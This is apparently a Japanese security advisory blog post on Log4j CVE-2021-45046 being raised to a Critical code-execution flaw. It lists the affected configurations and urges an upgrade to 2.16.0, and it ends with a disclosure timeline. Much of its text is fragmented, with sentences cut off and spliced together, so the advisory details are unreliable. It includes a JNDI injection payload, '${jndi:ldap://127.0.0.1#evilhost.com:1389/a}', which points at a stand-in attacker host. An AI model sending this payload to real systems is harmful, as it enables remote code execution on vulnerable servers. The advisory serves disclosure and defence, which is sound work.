Log4j 2.15の脆弱性CVE-2021-45046が深刻度「Critical」の任意コード実行に引き上げ
Jason Lane
2021年12月17日
8 分で読めます編集者注
編集者注2.17.0 以降への2.15.0 (CVE-2021-44228)2.16.0 (CVE-2021-45046)で
Log4jバージョン2.15.0は、2.16.0 以降に
Log4j 2に2.15.0も、
攻撃者は、2.15.0の${jndi:ldap://127.0.0.1#evilhost.com:1389/a}。
デフォルトで2.16.0へのJndiLookupクラスをzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)。
深刻度が引き上げられたこの脆弱性の影響を受けているか確認するには
影響を2.0-beta9から2.15.0まで。2.12.2を
ログ設定で
ルックアップが 明示的に 有効に なっている ( 2.15.0より前の バージョンでは デフォルトで 有効、 または 手動で %m{lookups}を使用)。 formatMsgNoLookupsはバージョン 2.15.0以降、デフォルトで 有効に なっています。 デフォルト以外の
Pattern Layoutと Context Lookupを 使用しており、 攻撃者が Thread Context Map (MDC) 経由で 入力データを 制御できる。 攻撃者が
userInput変数を制御できる Logger.printf("%s", userInput)関数を使用している。
重要:上記の
今すぐ行うべきこと
今すぐ2.16.0以降に
Log4jリソースページでは、
Log4j脆弱性のタイムライン(CVE-2021-44228およびCVE-2021-45046)
201
3年7月18日 - JNDIルックアップと 脆弱性に つながる コードが コミットされる 202
1年11月24日 - Alibabaの セキュリティ研究チームが Apacheに 非公開で 脆弱性を 報告 11月29日 - Apacheが
セキュリティ修正を 含む 新バージョン (2.15.0)の 開発に 着手 12月1日 - 初歩的な
エクスプロイトの 試みが 実環境で 確認される 12月5日- すべての
修正が masterブランチに マージされる 12月9日- GitHubユーザーが、
修正は セキュリティ脆弱性に 関連しているのではないかと 指摘 12月9日 - ユーザーが
google/tsunami-security-scanner-pluginsリポジトリにGitHubの 課題を 作成し、 Log4jの RCE脆弱性を 特定 12月9日- ユーザーp0rz9の
ツイートに より、 課題が 非公式に 流出 12月9日 - PoCが
GitHubで 公開される 12月10日 -
問題が「公式に」公表され、 CVEが 付与される (CVEは まだ MITREで 公開されていない)。 修正版 2.15.0がリリースされる。 12月10日 - CVEが
MITREで 更新され、 番号 (CVE-2021-44228)が 付与される 12月10日 - Snyk SCAで深刻度
「Critical」に 指定 (CVE-2021-44228) 12月13日 - バージョン
1.xの脆弱性アドバイザリを 公開 (深刻度 「Medium」、CVE-2021-4104) 12月14日 - バージョン
2.15に深刻度「Medium」の DoS脆弱性が 見つかる (CVE-2021-45046) 12月17日 - CVE-2021-45046の深刻度が
「Critical」に 引き上げられ、 任意コード実行に 再分類



